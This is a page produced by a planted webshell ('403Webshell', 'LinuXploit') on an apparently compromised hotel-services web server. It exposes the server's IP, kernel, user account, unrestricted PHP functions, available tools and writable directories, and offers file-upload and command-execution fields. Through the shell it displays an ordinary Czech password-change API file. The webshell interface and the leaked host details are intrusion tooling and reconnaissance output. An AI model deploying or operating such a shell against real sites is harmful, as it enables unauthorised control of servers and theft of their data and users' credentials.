403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/api/heslo.php
<?php
// ============================================================
//  Hotel DEMO — api/heslo.php
//  Změna vlastního hesla (každý přihlášený uživatel)
// ============================================================

$user   = auth_check();
$input  = json_decode(file_get_contents('php://input'), true) ?? [];
$action = $_GET['action'] ?? 'zmenit';

match ($action) {
    'zmenit' => heslo_zmenit($user, $input),
    default  => api_response(false, null, 'Neznámá akce', 400),
};

function heslo_zmenit(array $user, array $input): never {
    // Demo účet nemůže měnit heslo
    if ($user['zmena_hesla_zakaz'] ?? false) {
        api_response(false, null, 'Tento účet má zákaz změny hesla.', 403);
    }

    $heslo_stare = $input['heslo_stare'] ?? '';
    $heslo_nove  = $input['heslo_nove']  ?? '';
    $heslo_znovu = $input['heslo_znovu'] ?? '';

    if (!$heslo_stare || !$heslo_nove || !$heslo_znovu) {
        api_response(false, null, 'Vyplňte všechna pole.', 400);
    }

    if ($heslo_nove !== $heslo_znovu) {
        api_response(false, null, 'Nová hesla se neshodují.', 400);
    }

    if (mb_strlen($heslo_nove) < 8) {
        api_response(false, null, 'Heslo musí mít alespoň 8 znaků.', 400);
    }

    // Ověření starého hesla
    $hash = db_val('SELECT heslo_hash FROM uzivatele WHERE id = ?', [$user['id']]);
    if (!password_verify($heslo_stare, $hash)) {
        api_response(false, null, 'Současné heslo není správné.', 401);
    }

    // Uložení nového hesla
    $novy_hash = password_hash($heslo_nove, PASSWORD_BCRYPT, ['cost' => 12]);
    db_query('UPDATE uzivatele SET heslo_hash = ? WHERE id = ?', [$novy_hash, $user['id']]);

    // Zneplatnění všech ostatních session (bezpečnostní opatření)
    $token_aktualni = $_COOKIE['session_token'] ?? $_SERVER['HTTP_X_SESSION_TOKEN'] ?? '';
    db_query(
        'DELETE FROM uzivatel_session WHERE uzivatel_id = ? AND token != ?',
        [$user['id'], $token_aktualni]
    );

    api_response(true, null, '');
}

Youez - 2016 - github.com/yon3zu
LinuXploit